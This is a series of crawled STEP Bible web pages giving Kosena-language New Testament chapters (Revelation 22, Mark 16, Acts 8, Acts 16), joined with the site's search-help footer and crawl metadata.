mináímbá iséꞋa awánéꞋa kwíyómpakewai agaráásínkaraiwai aísamaivimba kívaireꞋa kwená imáyáa mósá maránáe séꞋa ówánana 9 simásimena séna íma mirán-uwo. emó ená kwaásimo Áánútun-aaimo simátímakaandawaiyemo maanáúváívínkén-áímbó taagwiyávón-kwaasiyemo Áánútuna kwayóꞋnárawaꞋo ontembá kegwáráꞋá Áánútuna kwayóꞋnáꞋá úmpo kesí imáyáa íma mósá maré Áánútuna imáyáawe suꞋmai mósá maraaó siráiye.\n10 simásímatuwena séna maanáúváívínkén-áímbá paárinin-tantaaꞋa sáwíyankaꞋa paárinivo íma aúpáꞋá maré avoraꞋá maraaó. 11 minkánáámó tínímba sáwíꞋo kwéiyawai sáwíꞋa íyasa sáwíꞋo umái máyaiyawai sáwíꞋa umái maíyasa kaweꞋó kwéiyawai kaweꞋá íyasa kaweꞋá umái máyaiyawai kaweꞋá umái ménaaowe siráiye.\n12 súwana Ísu séna ísáaro. sáwíyankaꞋa kumónaumne. kemó kwémayaam-bayaigona meéyámbá maimaéꞋa kumónaumne. 13 aivaré naaéna miwáná ááimba kemá úne. aivaꞋá méꞋa ívékwaraꞋa méꞋa maíꞋmaiꞋa ónaumne Ísu siráiye.\n14 súwasa mindáókona ontaráꞋá iyésa taaéramba nésa maíꞋmaiꞋa ónááontavesa unáánkwátóimo sese owanamó kaweꞋó kwéintemba miwímá kaweꞋá umái máyáawana tirunkó aamoí kwéiye. 15 sáwíꞋo umáímo máyáawaiye pukaaꞋó agáyáawaiye uwaaꞋá kwéowaiye aarai-úmóyáné kwaai-úmóyáné kwéowaiye kwaási tínkamowasa púwóniꞋa owáíyé kampar-ísóígóné kwaántá-kwaasiyeti imáyáa mósá máráawaiye kampar-áíntávésa aamoí owáíyé mirámó úmae kwénaaowai mindáópaꞋa íma iyónááowe.\n16 Ísu séna kemá Ísu kwíyómpakemba kesí kwayóꞋnákómbá aiꞋmaráúnana kentópaꞋa kuména mináímbá Ísóigona kwaási isáígwáe séna kusimátímakaiye. kemá Tévíti aísaavutantamba uráundawai éꞋa aaváúmó usaráisanamo kwáyáin-oꞋa kemá úne Ísu siráiye.\n17 súwasa Áánútun-amankoe kentáásí sáwí-meyamba mairáiwaina aúná-ininkaaniꞋo on-kwáásíyé sésa ÁánútunopaꞋa teró kwésiyasa mináímbá kwéisaawai ÁánútunopaꞋa teró sénááowe. nontáváí táái kwétinkaindawai ÁánútunopaꞋa teró. ÁánútunopaꞋa kónáe síyawai tíyana Áánútu maíꞋmaiꞋa ónááon-domba úwoi timínasa nésa maíꞋmaiꞋa ónááowe.\n18 kemá Yóni paárinin-tantaaꞋa maanáúváívímbá agaimaréꞋa maanáúváívínkén-áímbá isánááon-kwaasiyaveꞋa asiramái séꞋa maanáímpímbó évakarawaimo kentí imáyáavinken-ainkwaraꞋo síyanamo éna Áánútu sáwí-meyamba timínímba agaimaréꞋo simátimunda-sawi-meyamba timíníye. 19 évakarawaimo maanáíntómpínkémbó paárinin-tantaaꞋo tínaaembo umámiyanamo éna Áánútu minkwáásíyávéna séna minkáwéꞋ-náópar-uramba íma iyéꞋa maíꞋmaiꞋa ónááon-taeramba íma nánááowe. maanáúváívímbó simátimunda-aintavena síníye kemá Yóni kwésune.\n20 mináímbá árair-aimban-iye kwésiwai sáwíyankaꞋa kumónaumne sisaꞋá árair-aimban-ivo Ísóigo Ísu áraiꞋa úwoi kumuwó kwésune.\nÍsóigo Ísu Áánútuna kwaási úwoi kwétuwaꞋnaa-inaꞋa máéro. mináímbá árair-aimban-iye.\nmináímbá ánásaiye.\n21\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Rev.22","date":"2018-04-22T08:45:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945552.45\/warc\/CC-MAIN-20180422080558-20180422100558-00240.warc.gz","language":"kze","language_score":0.9999930859,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.999993085861206}","num_words":573,"character_repetition_ratio":0.057,"word_repetition_ratio":0.0,"special_characters_ratio":0.155,"stopwords_ratio":0.155,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mark 16\nÍsu pukáimpinkemba usásinkain-kwasai.1 Yútaa-kwaasimo agándon-kanaa ánásowasa kaumbo-ínímbá Máríyaa Mágátáraa-naopaken-ininko úwana araámáó Yémésimba anówama úwana Sárómi úwasa miráumai-inimba Ísun-auraꞋa áséi-kwiyu-masawemba mápérankanae sésa 2 ááéma aaváúmá usónkaꞋa mimbásáwémbá maimaésa Ísumbo utamánkaropaꞋa kumbá 3 aampaꞋá kwégwesa iséise ésa sésa murí-áígó óikaꞋa awááumasukaan-ontamba anón-ontamba póna nááwa akwásinkanintaaꞋiyo sésa 4 awánomba minóntámbá áꞋa akwátukowasa awánésa 5 mimbúrí-áíráꞋá íyúmba moóráwai ívé-kwaasi kwayán-únánkwátóigwara-kwaasi minkáꞋá máyowasa awánomba tááꞋa kówana 6 simátimena séna íma tááꞋa kaíno. Ísumba Násáretivakewaimba taairaꞋá tuvúwówana púwíwaimba taawánanae séꞋo kwétemba pukáimpinkemba usásinena kówéna íma maankáꞋá máyáivo utamánkaraampimba uawánéꞋa 7 kwená kwayó-kwáásíyé Pítaa iyai kosimátimeꞋa séꞋa Ísumo siráintemba pukáimpinkemba usásinena kentí aivaꞋá Káríri-ayampaꞋa kwínaꞋa koawánanaaowe. mináímbá kosimátíméro súwasa 8 mimbúrí-áímá tuwésa tááꞋa kéna tiyántámbá tówasa isaaisésa kwésa tááꞋa kóntavai mináímbá íma kosimátímakaawe.\nMááka kemó súnda-aimba ánásaiye.\n[ Ísu paárúwana Máríyaa awánarain-kwasai.9 sontaaráꞋá ááéma Ísu pukáimpinkemba usásinena aivaꞋá Máríyaa Mágátáraa-naopaken-ininko aúrankaꞋa paárúwana ááéma Ísu minínínkó arumpinkémbá avakaeté-taravaa-kwamba mayáúkain-ininko aúrankaꞋa paárúwana 10 awánéna kwená kwaási iviꞋó kwétopaꞋa kosimátimuwasa 11 Ísumo aúvówanamo minínínkómó awánón-aimba simátimumba isésa íma ísámai kaweꞋá uráawe.\nÉméyási-naor-ampaꞋa Ísumba awánaraayan-kwasai.12 minkákémbá kae-kwáásí aampaꞋá nén-ampaꞋa kwéguyana Ísu óꞋon-kwaasi túwawaakaamba makéna minkáéꞋnárai túrankaꞋa paárúwasarai awánésarai 13 koyauwerésarai Ísuna kwaási tasimátímúyasa ísómba íma ísámai kaweꞋá uráawe.\nÍsuna kwaási kwembá awánaraan-kwasai.14 minkákémbá Ísuna kwayó-kwáásí sísamaivakemba moórá kumbaimái-kwaasi toómbá kwénowana Ísu paárúwasa awánowana Ísu áwááꞋa tiyéna séna kemá pukáundavinkemba usásinkaunda suwánaresa simátíméwaꞋa ísámai sirumbá kwéairaraawe séꞋa ísámai tuwarónaawaro kwéowe. simátímén-aintavai áraire seráámbá íma áraire siráawe simásuwena 15 séna kesí áséi-kwasai amápaꞋ-maravaꞋa simátímapaꞋa koró. 16 kesááiyavesa áraire sésa kenkáꞋá agevamái mésa nombá peráíyana Áánútu miwímá sáwíꞋo umáímo máyáampinkemba iyátinkanivo kesááiyavesa íma áraire síyawaima Áánútu aaivimbá maitinkáníye. 17 kesááiyavesa áraire sésa kenkáꞋá agevamái máyáawai ímo awánaam-bayaima maésa kesí asirayándéí kwaási tirumpinkémbá taraváá-kwámbá maitiyuwésa óꞋon-aimpinkemba sésa 18 áwááviꞋo índa-iraankavayaambo tátoraiyanamo váíndamo ésa íma puwésa puwí-nómbó náíyambo ésa íma puwésa tíꞋo ín-kwaasiraꞋa tiyáándei tátoꞋmai asóvamatinkanaaowe Ísu siráiye.\nÁánútu Ísumba airówana iráin-kwasai.19 Ísóigo Ísu mináímbá simásuwowana Áánútu Ísumba áíꞋmaena kwíyómpaꞋa móankowana Áánútu ayáánúrapaꞋa asirayán-áyámpáꞋá máyowasa 20 Ísuna kwayó-kwáásí amápaꞋ-maravaꞋa áséi-kwasai simátímapaꞋa kuwaná Ísóigo kwétuwaꞋnaa-uwasa kwaási ímo awánaraam-bayaima mayówasa awánésa sésa maanáímbó simásíménta árair-aimban-iye siráawe.\nmináímbá ánásaiye.]\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Mar.16","date":"2018-04-26T02:15:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125948047.85\/warc\/CC-MAIN-20180426012045-20180426032045-00570.warc.gz","language":"kze","language_score":0.9999239445,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999239444732666}","num_words":478,"character_repetition_ratio":0.045,"word_repetition_ratio":0.0,"special_characters_ratio":0.158,"stopwords_ratio":0.128,"flagged_words_ratio":0.0,"lang_id_score":0.996,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Acts 8\nSóro Ísuna kwaási sáwíꞋa umátínkarain-kwasai.1 Sítívenimbo tuvúmba Sóro arunkó aamoí úmbanivo évakarawai Áánútun-aaiyavesamo asiramáímo máúwai Sítíveni áúma maimaé máutesa anón-iviꞋa tombánivo Sóro Ísuna aampaꞋó kwéguwai tínkambai ánásanae séna kúmba naaúmpimpakemba aarakwáꞋá koyavisimái ándávaꞋa tíyupaꞋa kúwasa YérúsaremuvaꞋa Ísuna aampaꞋó kwéguwaima aivaríꞋa umái sáwíꞋa umátinkowasa kóyáwé uwasá aantá-kwaasiye suꞋmai YérúsaremuvaꞋa máyówasa óꞋon-kwaasi Ísuna aampaꞋó kun-kwáásí Yútiyaa-ayampaꞋa Sámériyaa-ayampaꞋa kóyáwé uráawe.\nSámériyaavaꞋa áséi-kwasai kosimátímakaan-kwasai.4 Ísuna aampaꞋó kwéguwai kóyáwé ésa Ísuna áséi-kwasai kosimátímaꞋmaesa kurá. 5 Vírípi Sámériyaa-naopaꞋa kúmba kosimátimena séna Áánútumo usásinankaiwai amuꞋmaráúndawaiyaamo áꞋo kunkáimba kwemá Ísuman-iye 6 Vírípi simátimumba kaweꞋá umái ísówana ímo awánarom-bayai mayówasa awánowana 7 taraváá-kwámbá tirumpimbá máyówaiyavena aaí súwasa taraváá-kwámbá kwááꞋa tumásuwesa kóuwasa kwaási kaweꞋá umái máyówana aíyayaamba pukón-kwaasi asóvamatinkowasa kaweꞋá umái mésa 8 Sámériyaavaken-kwaasi ávááraumai tirunkó kaweꞋá umái méraawe.\n9 Sámériyaa-naopaꞋa moóráwai áwíꞋa Sáímoni ména anón-kwaasi úne séna pukaaꞋá agaimaéna kwéiyuwasa táátavai kwéesa 10 anón-kwaasiye úwoi-kwaasiye kwená mayáí awánésa kwenaráái kwégwaresa sésa Áánútuna asirayánkóe kwená asirayánkóe moóráiꞋa uráiye kampaꞋá suwaná 11 ayáátáákaꞋa pukaaꞋá agaimaéna kwégum-bayai mayówasa kwenaráái kwégwaresa táátavai uráambanivo 12 naaémba Vírípi Áánútuna áséi-kwasai kosimátimena Áánútu kwená kwaási kwégawaain-kanaama kosimátimena Ísu Káráísitin-aai kosimátimuwasa isésa sésa árair-aimban-iye suwaná Vírípi minákwáꞋá nombá pétinkowana 13 Sáímoni kwegwáráꞋá áraire súntavai Vírípi nombá pérankowana Vírípiye kwénaauwana ímo awánóm-bayai mayówana awánéna áátavai uráiye.\n14 mirámó SámériyaavaꞋo kwéumba YérúsaremuvaꞋa aantá-kwaasi mésa Sámériyaavaken-kwaasi Áánútuna áséi-kwasai isésa mináímbá méyatokaan-aimba isésa Pítaante Yóninte tiꞋmárówasarai kweémesarai 15 SámériyaavaꞋa komésarai Ísuna aampaꞋó kwéguwaiyavai ísámai námúnaavinkemba sésarai Áánútun-amankomba mayánááowe sirááiye. 16 Vírípi nombá pétinkaronkaꞋa Ísóigo Ísuntavena ísámai nombá pétinkowana Áánútun-amamba íma marómba pósarai Pítaae Yóniye námúnaavinkemba sésarai 17 tiyáámba tátoroyana Áánútun-amanko tirumpimbá kumúwasa mairáawe.\n18 aantá-kwaasirai tiyáámba tátoroyana Áánútun-amanko tirumpimbá kumbaúwasa máyómba Sáímoni awánéna asirayámbá meéyámbaranae séna Pítaante Yóninteyavena séna óntamba maékai 19 minásíráyámbá simékaiyo. óꞋon-kwaasi siyáámba tátoraanana Áánútun-amanko tirumpimbá kumbaínkwáe súwana 20 Pítaa séna Áánútu úwoi kwétimin-tantaatavai óntandei meéyán-ónáe sénda po ená óntankwaraꞋa esé iravímbá ánásayaaoiye. 21 Áánútu aúrankaꞋa ená imáyáa íma arupí imbá po maambáyáí kenkáísí mayáí íma súwaꞋnaa íníyone. 22 ená sáwí-imayaagomba ánaaemba umásuwe Ísóigomba áísaa inaná ená sáwí-imayaagona anondá mayauwáníye. 23 Áánútu íma asirayámbá ámakaintavai enarumbá sáwíꞋa umásinkaanana ená sáwí-imayaao anómba éna embá tátokaiye Pítaa súwana 24 Sáímonima Pítaante Yóninteyavena séna súwaꞋnaa ékai Ísóigomba námúnaavinkemba áísaa íyana emó sénda misáwí-yántááꞋá íma kempáꞋá tíno Sáímoni siráiye.\n25 súwasarai Pítaae Yóniye Ísóigon-aai simátimesarai Ísuwe naaémáúyan-aimba simátimesarai YérúsaremuvaꞋa kónáe sésarai aampaꞋá kweémesarai Sámériyaa-ayampaꞋa naaóꞋ-naoꞋa Áánútuna áséi-kwasai kosimátímaꞋmaesarai kurááiye.\nVírípinte Ítíópiyaavaken-kwaasintei kwaasái.26 mindárai YérúsaremuvaꞋa kuyaná Vírípi SámériyaavaꞋa máyomba moóráwai anón-kwaasi Ítíópiyaa-maravakewai éna Ítíópiyaa-kwaasiti kawáá-ínínkó áwíꞋa Káándásina óntankaꞋa kárákwirowai Áánútuna imáyáa éna YérúsaremuvaꞋa kweémena Áánútu áwíꞋa mósá maréna koyauweréna kwená káárivimba anóm-poigo tavisímaena kún-kaarivimba kúmba Ísóigona kwayóꞋnáꞋá kwíyómpakewai Vírípintavena séna usásine Yérúsaremuvakemba KásaavaꞋa kwégon-ampaꞋa kwaaó súwana iséna usásinena minámpáꞋá kweémena kavóná-maravaꞋa kúmba Ítíópiyaa-maravaken-anon-kwaasi kwená káárivimba kweémena aúváí-kwandaaivimba awánéna naaóváꞋá Áánútun-aai simátímakowai áwíꞋa Áísáya agaimakón-aimba awánómba 29 Áánútun-amanko Vírípintavena séna kwená káárigona egwaaꞋá kwaaó súwana 30 isaaísena kúmba Áísáya agaimakón-aimba táámpamai kwésuwana Vírípi iséna áísaa ena séna mináínkóná ááimba kwéisaano súwana 31 áꞋa moóráwai simásiminimba póꞋa isánaumpo kesí káárivimba usáataao súwana Vírípi minkáárívímbá usáatena umaúwana 32 mináúváí-kwándááívínkén-áímbá táámpamai séna\nsipisípi áyáumo karánáesamo owanamó ímo kwááꞋo tintembá minkwáásígó íma aaí siráiye. sipisípi tuvuwónáesamo owanamó ímo kwááꞋo tintembá minkwáásígó íma aaí siráiye. 33 kwenáwíꞋa móruna tuwésa sáwíꞋa umái aaivimbá mayánkaraawe. kwená kwaási sáwí-mayai mairésa tuvuwówana marapáꞋá máyáin-kanaama ánásaraiye. mindáyavesa miwítí sáwí-mayai íma kanaán-umai avoraꞋá simátimenaaowe\nagaimaréna siráiye. 34 Ítíópiyaavaken-kwaasi mináímbá táámpamai simásuwena Vírípintavena áísaa ena séna Áánútun-aaimo simátímakowai nááwantavena mináímbá siráiyo. kwesávéna sirái. óꞋowantavena siráiyo súwana 35 Vírípi Áánútun-aaimo aúváívinkembo táámpamaimo simámakainten-umai Ísuna áséi-kwasai kwésimamena 36 aampaꞋá kuyambá nombá kwáyopaꞋa kwésarai uyaná Ítíópiyaavaken-kwaasigo séna nombá kwáyáínkaꞋa pésinkainkwae séꞋa únana nóinko aampimbá ítáraiyo súwana [ 37 Vírípi séna ÍsumpaꞋo arumbó amé kwenááiyavai áraire simáímo maínaꞋo éꞋa nombá pérankanaumne súwana Ísu KáráísintaveꞋa áraiꞋa Áánútu áánimban-iye kwésune séna] 38 káárimo maisoréna kúwaintavena séna káári tátoraao súwana iséna tátorowasarai Vírípiye Ítíópiyaavaken-kwaasiye nompímbá kumbésarai Vírípi nombá pérankowasarai 39 úwoivaꞋa íyúyana Áánútun-amanko Vírípimba kunáíꞋmaena kóúwana Ítíópiyaavaken-kwaasi awánómba íma máyombanivo aamoí untávaꞋa kwená naaópaꞋa kúmba 40 Áánútun-amanko Vírípimba kunáíꞋmaena Ásátóti-naopaꞋa máánkarowana Vírípi mináyámpáꞋ-náópaꞋa Áánútuna áséi-kwasai simátímaꞋmaena Sísáriyaa-naopaꞋa kuráiye.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nESVthroneDavidIsa-Rev\nKJVWHNUJohn 1\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Act.8","date":"2018-04-25T07:00:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125947705.94\/warc\/CC-MAIN-20180425061347-20180425081347-00439.warc.gz","language":"kze","language_score":1.0000044107,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 1.0000044107437134}","num_words":688,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.144,"stopwords_ratio":0.135,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Acts 16\nTímóti mindáraiye kuráin-kwasai.1 Pórowe Sáírásiye mirá uyambá Tépi-naopaꞋa Árísitaa-naopaꞋa kuyaná moóráwai áwíꞋa Tímóti mindáópaꞋa ména Ísuna aampaꞋá kwéguwai úwana anówama Ísuna aampaꞋá kwégun-inimba Yútaa-inimba úwana avowámá Kíríki-kwaasi úwana umái máyówasa 2 Árísitaa-naopakewai Áíkóniyaa-naopakewai Ísun-aai ísówai Tímóti áwíꞋa mósá makáawe. 3 avowámá Kíríki-kwaasi póna áúraꞋa íma kárámai araaꞋéna urómba pósa Yútaa-kwaasi mináyámpáꞋó máyáan-kwaasi mirán-áímbá ísówana Póro séna Ísóigona mayáíráꞋá Tímótimba airánáe séna Yútaa-kwaasi aamoí ígwáe séna Tímótimba áúma kárámarena 4 áíꞋmaena naaúwasa naaóꞋ-naoꞋa kwénaaesa aantá-kwaasiye Ísóigona kwaásiti anón-kwaasiye YérúsaremuvaꞋa siráan-aimba Ísóigona kwaásiyavai simátímaꞋmaesa kweésa sésa mináímbá ísáaro suwasá 5 Ísóigona kwaási ÍsumpaꞋa asiramái mésa óꞋon-kwaasi simátímaꞋmaesa kuwasá isésa aasiyaasi-táwai évakarawai Ísun-aaiyavesa áraire sinté kwégwesa sáwíva-kwaasi-iꞋa uráawe.\nPóro kaainkáámbá awánarain-kwasai.6 Pórowe Sáírásiye Tímótiye Vírísiyaa-maravaꞋa Kárésiyaa-maravaꞋa kwénaaesa Ésiyaa-maravaꞋa áséi-kwasai kosimátimenae sumbá Áánútun-amanko íma kónááowe súwasa 7 isésa kweémesa Mísiyaa-maragona oóvímbá kwésa Pítíniyaa-maravaꞋa kónáe sésa uwaná Ísun-amanko íma kónááowe súwasa 8 isésa Mísiyaa-maravaꞋa kómaatesa kweémesa Táróasi-naopaꞋa kumbésa 9 noꞋwáámba Póro kaainkáámbá awánówana Másétóniyaa-maravaken-kwaasigo kokuꞋá taména séna MásétóniyaavaꞋa tasúwaꞋnaa uwo asiramái súwana 10 Póro kaainkáámbá awánéna simásimuwata usásineta séta Másétóniyaa-kwaasiya áséi-kwasaiya kosimátimunanaya Áánútuya kwésaayaisata MásétóniyaavaꞋa kónáeya siráundayaawe.\nÁrítiyaama ÍsumpaꞋa tiráin-kwasai.11 séta Táróasi-naopaꞋa nompí-sípí tátoꞋmai usáateta kówánanaya mindómpí-sípígó apu úmaena kúwata Sámóteresi-maravaꞋa kogwaéwándaya usá aaváyaavimba kweémeta Níápórisi-naopaꞋa marapáꞋá kunásáveta 12 minkákémbá Vírípai-naopaꞋa marapáꞋá kuráundayaawe. mindá Másétóniyaa-maravaꞋa anón-daopaꞋa Árómáani-kamaani-kwaasi kárákwiraan-daopaꞋa évakaꞋ-noꞋwaamba kógwaeta 13 Yútaa-kwaasi monor-áímbá kwéison-kanaa túwata imáyáa éta Yútaa-kwaasi nonawámpáꞋá torupamái mésa námúnaa kwésewe séta naaópaꞋa tuwéta nonawámpáꞋá kumówándaya aaraiyómbá torupamái máyówata kumbéta simátimewanasaya 14 isésa uwaná moórá-ininko Táyátaira-naopaken-ininko áwíꞋa Árítiyaama kwená mayáí óoraan-tantaaꞋa ampantaráꞋá tásuwena kwétimena óntamba kwémaena kwemá Áánútuna imáyáa éna kwenáwíꞋa mósá makón-inimba Ísóigo imáyáa amúwana Póron-aai kaweꞋá umái isówana 15 minínínkógwárá kwená akúnkwáráꞋá nombá pétinkowana minínínkó séna kentáváí séꞋa Ísóigon-aaiyavena áraire séna ÍsumpaꞋa asiramái máyáin-ininkoman-iye séꞋa kesí naaúmpaꞋa taménaaowe asiramái súwata kwená naaúmpata koméraumne.\nPórowe Sáírásiye ándávaꞋa máyóyan-kwasai.16 moórá-arasi mayáí kwémayon-arasigomba évakarawai óntamba tuwésa meéyán-uráan-arasigomba taraváá-kwámbá kwenarumpimbá máyowana évaka-kwaasitopaꞋo naaémbo kwínín-aimba simátimuwasa óntambo ámúmba kwembó meéyámbakaan-kwaasi timúwasa maémáémbani. moórá-tawai námúnaa kwésupaꞋa kumówánanaya minárásígó suwánéna 17 Póronte kenté sínaaemba kwaꞋmaéna kwégwena anónkaꞋa séna Áánútu kwíyómpaꞋa máyáiwaina mayáí kwémayaan-kwaasiman-owe. Áánútu sáwíꞋo umáímo máyáampinkemba kawer-ámpáꞋá mégwétinkain-aimba kwésimatimewaiman-owe minárásígó séna 18 sáwívakaꞋa kwaꞋmaéna kwégwena mirá súwana Póro arumbá umbaí tówana mégwantena kwenarumpimbó máyon-taravaa-kwankontavena séna Ísu Káráísitina asirayámbá kwáyáintavai égési umái séꞋa minárásí auwé kóaao súwana avekáámbá auwéna kóúwasa 19 minárásígómbó meéyán-uráawai awánésa tirunkó sáwíꞋa úwasa sésa íma kawer-óntámbá mayánaumne sésa Póronte Sáírásinte tiyáánkaꞋa tátoꞋmai tavisímaesa naambárupaꞋa kawáá-kwáásítópaꞋa mátinkesa 20 Árómáani-kamaani-kwaasitopꞋa mátinkesa sésa maandárai Yútaa-kwaasirai kentáásí naaópaꞋa sáwí-mayai kwémayaaiye. 21 kentáásí ámáámba kwégaresarai óꞋon-ampar-amaamba kwéseye. maandáraimo séyan-amaamba íya kwaránaumpo Árómáani-kwaasiti ámáámba kwaránaumne suwasá 22 sáwíva-kwaasi taúkúmaresa anónkaꞋa símae iyésa sésa áraire suwasá kawáá-kwáásí mindáraiti unáánkwátói tarátiyuwesa sésa kunánaandei tínkamoro suwasá 23 ávááraumai tínkambaresa tavisímaesa ándávaꞋa avúsúyuwesa ándávaꞋo kárákwiron-kwaasiyavai sésa ontaráꞋá kárákwimai mindárai kaweꞋá uwo suwaná 24 avumpin-dáúmpáꞋá móavusuyuwena tísamairai taaí umairéna aráápamarena ándánei kárárumarowasarai méraaiye.\n25 mésarai noꞋwáán-avuntamba Pórowe Sáírásiye námúnaa kwésesarai Áánútuna imá kwésuyasa ándávaꞋo máyón-kwaasi ísówana 26 avekáámbá anóm-barima tówana naamayáámbá karekóꞋa umágúwana amápar-ontama tigúwana ándávaꞋo máyón-kwaasi tíyayaampimpaken-andama kweyááríkaꞋa ayúkúwasa 27 ándá-naumpaꞋo kárákwirowai aúmá kwáyomba póna usásinena awánómba ontan-tigurówana usáawanena séna ándá-kwaasi kóuraawe-imayaa éna anón-kwaasigon-aaroi inkaiséna kwená taánasatama mósá taúkéna kwenáúvimba agaiváíndayavena úwana 28 Póro awánéna anónkaꞋa séna íma mirán-uwo. kesáámá amápata úwoiya máyaumne súwana 29 ándá-naumpaꞋo kárákwirowai kwená kwaásiyavai séna oómbá kúra-simero súwasa kúrar-amuwana avekáán-umai ándá-naumpaꞋa iyúmba ayántámbá kwétowana anóndaraima óye séna Póronte Sáírásinte tísamaivimba kumbaéna 30 usásinena tíꞋmaena máápaꞋa kumbéna séna nóra onaná sáwíꞋo umáímo máyaundavinkemba Áánútu kawer-ámpáꞋá mésinkaniyo súwasarai 31 mindárai sésarai Ísóigo Ísu Áánútumpakemba kunkáiwain-aaiyavai áraire sinaná ewé ená akúné sáwíꞋo umáímo máyáampinkemba kawer-ámpáꞋá métinkaniye simámesarai 32 minkwáásíyómbá Ísóigon-aai simátímúyasa isésa 33 mindóꞋwáán-avuntamba ándá-naumpaꞋo kárákwirowai tíꞋmaena tirósáánumpar-avima kwésese umátiyuwena mitáwai kwesé kwená kwaásiye monoꞋ-nómbá pékaawe.\n34 nombá péꞋmaena Póronte Sáírásinte tíꞋmaena kwená naaúmpaꞋa mátínkarena toómbá timúwasarai kwénoyasa kwewé kwená akúné Ísun-aaiyavai áraire siráamba pósa tirumbá kaweꞋá umái méraawe.\n35 máyówasa usá aaváyaavimba Árómáani-kawaa-kwaasi i-kwáásí tiꞋmárówasa ándá-naumpaꞋa kwésa sésa mindárai ayútínkénasarai kókaiyo suwaná 36 ándá-naumpaꞋo kárákwirowai Pórontavai séna Árómáani-kawaa-kwaasi i-kwáásí tiꞋmárááwasa tésa sésa Póronte Sáírásinte ayútinkaao sembá pókai ayútínkáanakai tirumbá kaweꞋá ínakai kokaiyó súwana 37 Póro i-kwáásíyáváí séna íma kawer-áímbá sésa kempímbá íma kwáyáin-aimba simái kunánaantamba sínkamesa ándávaꞋa avúsúyukaawe. Árómáani-kwaasiti aúváíma tokáuyan-kwaasi úyambanivo sínkamomba uwóvíꞋa ésa minámáámbá káráyukaawe. ívéꞋa aúpáꞋá ayúsinkai-imayaa owakáí íma mirá óyauye-imayaa ékai Árómáani-kawaa-kwaasi kesópaꞋa tésa ontá tayisúwéwakai kóyauye Póro súwasa 38 i-kwáásí isésa koyauwerésa Póron-aai tasimátimesa Árómáani-kwaasiti aúvái tokááin-kwaasiye simátímúwasa isésa táátavai ésa 39 ándá-naumpaꞋa komésa sésa keinárai Árómáani-kwaasiti aúváíma tokááyan-kwaasi óyata íma ísareta úwoiya tínkankaunda mindá uwóvíta éta tínkankaumne sésa tíꞋmaesa máápaꞋa kumésa aánoumai sésa kentáásí naaópaꞋa tuwékai kokaiyó suwasaráí 40 Pórowe Sáírásiye ándávaꞋa tuwésarai Árítiyaana naaúmpaꞋa kuyasá Ísun-aai ísówai torupamái máyówasarai miwítí imáyáa kaweꞋá umátinkesarai tiyuwésarai kurááiye.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 